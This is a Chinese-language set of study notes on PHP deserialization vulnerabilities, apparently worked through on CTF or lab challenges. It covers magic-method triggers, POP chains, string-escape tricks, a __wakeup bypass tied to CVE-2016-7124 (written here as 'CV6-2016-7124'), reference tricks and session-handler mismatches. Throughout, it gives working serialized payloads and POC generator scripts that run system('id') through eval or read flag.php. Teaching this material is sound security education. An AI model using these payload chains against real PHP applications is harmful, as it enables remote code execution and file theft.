反序列化漏洞
先看代码:
定义了一个类test,a是字符串,再定义了一个方法,执行test类成员a命令
get传参为benben,然后反序列benben变量,再执行反序列的displayvar方法
反序列的漏洞就是利用反序列执行方法是针对反序列的值,而不是调用本来定义的值。也就是说,让程序反序列我们想执行的命令,然后利用方法对其调用
将a定义为system('id'); 这样调用方法最终就是执行eval(system('id');)
类的反序列格式:
O:类名长度:"类名":类的参数数量:{s:变量的数量:"变量名";s:变量长度:"变量值";};
?benben=O:4:"test":1:{s:1:"a";s:13:"system('id');";};
魔术方法
_destruct()
触发时机:对象的所有引用被删除或者当对象被显式销毁时(实例化对象、反序列化)
该代码可见最终将get参数进行反序列化,这是_destruct函数的触发时机,能执行eval命令
传入参数和上题一样,目的在于执行system('id')命令
_sleep()
触发时机:序列化serialize()之前
功能:清理对象,即返回一个包含对象所有属性中应被序列化的变量名的数组
看这题代码:
定义了一个User类,三个变量以及_construct()、_sleep()魔术方法
serialize()序列化之前会触发_sleep()魔术方法,并且_sleep()定义system(username的值),这是执行命令的关键,只需要将username赋值为id即可
在实例化对象时,cmd等于我们传入的参数,赋值给username,a为nickname,b为password
我们只需要将benben=id即可
_wakeup()
触发时机:在unserialize()之前
由于这题是要进行反序列化,需要将user_er构造成反序列的值,将username值设置为id
?benben=O:4:"User":1:{s:8:"username";s:2:"id";}
了解POP调用链
查看代码,evil里的eval()是关键,需要使test2=“system('id');” 然后执行action,这样才能执行命令
但是源代码无法执行evil(),反而会执行normal()
所以需要使
$this->test = new normal();
变为
$this->test=new evil();
才会执行evil()语句
而我们无法更改代码,关键在于传入的test,与源代码无关,我们只需要构造序列化,使源代码再进行反序列化即可
<?php
class index {
private $test;
public function __construct(){
$this->test=new evil();
}
// public function __destruct(){
// $this->test->action();
// }
}
// class normal {
// public function action(){
// echo "please attack me";
// }
// }
class evil {
var $test2="system('id');";
}
$a=new index();
echo serialize($a);
?>
得到序列化结果
O:5:"index":1:{s:11:"indextest";O:4:"evil":1:{s:5:"test2";s:13:"system('id');";}}
但index中的index,是private成员,序列化结果需要将indextest改成%00index%00test
?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system('id');";}}
了解魔术方法
这题要求我们触发tostring魔术方法,
tostring()的触发时机:把对象被当成字符串调用(使用echo 或者print)
wakeup()的触发时机:在unserialize()之前
fast中有echo $this->source,所以我们只需要将source赋值为new sec(),字符串输出sec的实例化对象,就能触发tostring
<?php
class fast {
public $source;
}
class sec {
var $benben="benben";
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";s:6:"benben";}}
POP链
分析各值,使用倒推法
编写poc
<?php
class Modifier {
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod=new Modifier();
$test=new Test();
$show=new Show();
$test->p=$mod;
$show->source=$show;
$show->str=$test;
echo serialize($show);
?>
得到反序列
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}
get传参
字符串逃逸————减少
这题主要是利用hk会替代flag,导致字符串逃逸,并且只能传入user和pass的值,关键在于要将vip改为True
变量的值是从哪到哪由前面的变量长度这一数字决定
这样就可以将vip的反序列化传入,从而定义vip的值
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param="flagflagflagflagflagflagflagflagflagflag";
$pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
$a=serialize(new test($param,$pass));
echo $a;
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
$profile=filter($a);
echo $profile;
//{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
get传参输入
user=flagflagflagflagflagflagflagflagflagflag
pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
字符串逃逸————增多
php替换成hack,属于增多类型,能将后面的命令挤出去
简单来说就是 s:12:"phpphpphp";x"
s:12:"hackhackhack";x"
这样就把想定义的pass给挤出去,构造了一个正确的序列化结果
O:4:"test":2:{s:4:"user";s:?:"php.....php";s:4:"pass";s:8:"escaping";}
设有x个php,加粗部分长度为29,共 3*x+29
O:4:"test":2:{s:4:"user";s:?:"hack.....hack";s:4:"pass";s:8:"escaping";}
则共有x个hack,长度为4*x
4*x=3*x+29
x=29
所以需要29个php,才能把后面的挤出去
param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
代码验证
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$p='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$param=serialize(new test($p));
echo $param;
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
$profile=filter($param);
echo $profile;
//O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
?>
get传参
查看源代码
__wakeup()绕过
代码审计:
get传参输入cmd,判断cmd不能为空,否则高亮显示源代码;
再进行正则匹配,'/[oc]:\d+:/i' 表示O/o:后面不能接数字,那么我们的反序列化O:6:"secret":.....不能使用,但是O:+6:"secret":.....可以使用
反序列化之前,触发__wakeup(),file=“index.php”
反序列化之后,触发__destruct(),输出flag,但是flag在flag.php中
所以这题需要绕过__wakeup(),并定义file=“flag.php”
绕过__wakeup()叫CV6-2016-7124漏洞:
若序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行
例如这一题:
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
O:6:"secret":2:{s:4:"file";s:8:"flag.php";} 这样绕过了__wakeup()
但正则表达式的过滤,需要再更改为
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
cmd=O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
再url编码:
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
get传参:
序列化引用例题
关键在于要使enter===secret(等于*)
但我们无法直接定义enter=*,因为出现*会被替换成 \*
这题需要用到引用,让enter的值等于secret
$a->enter=&$a->secret;
<?php
class just4fun {
var $enter;
var $secret;
}
$a=new just4fun();
$a->enter=&$a->secret;
echo serialize($a);
结果为:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
get传参
session反序列化
session反序列化漏洞利用的是存储和读取的方式不一致
在这一题中,hint.php文件存储session采用的方式是php_serialize
index.php文件读取session采用的是php
index.php
hint.php
要保证name=her,需要采用引用的方式:
$a->name=&$a->her;
<?php
class Flag{
public $name;
public $her;
}
$a=new Flag();
$a->name=&$a->her;
echo serialize($a);
?>
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
根据存储格式
在hint.php中传参a
a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
php_serialize 存储为
a=a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}
php读取
a=a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}
php存储: 键名+ | + 经过serialize()序列化处理的值
然后php对O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}进行反序列化,才会触发__wakeup(),进而才会使name==her,从而输出flag
再读取index.php,得到flag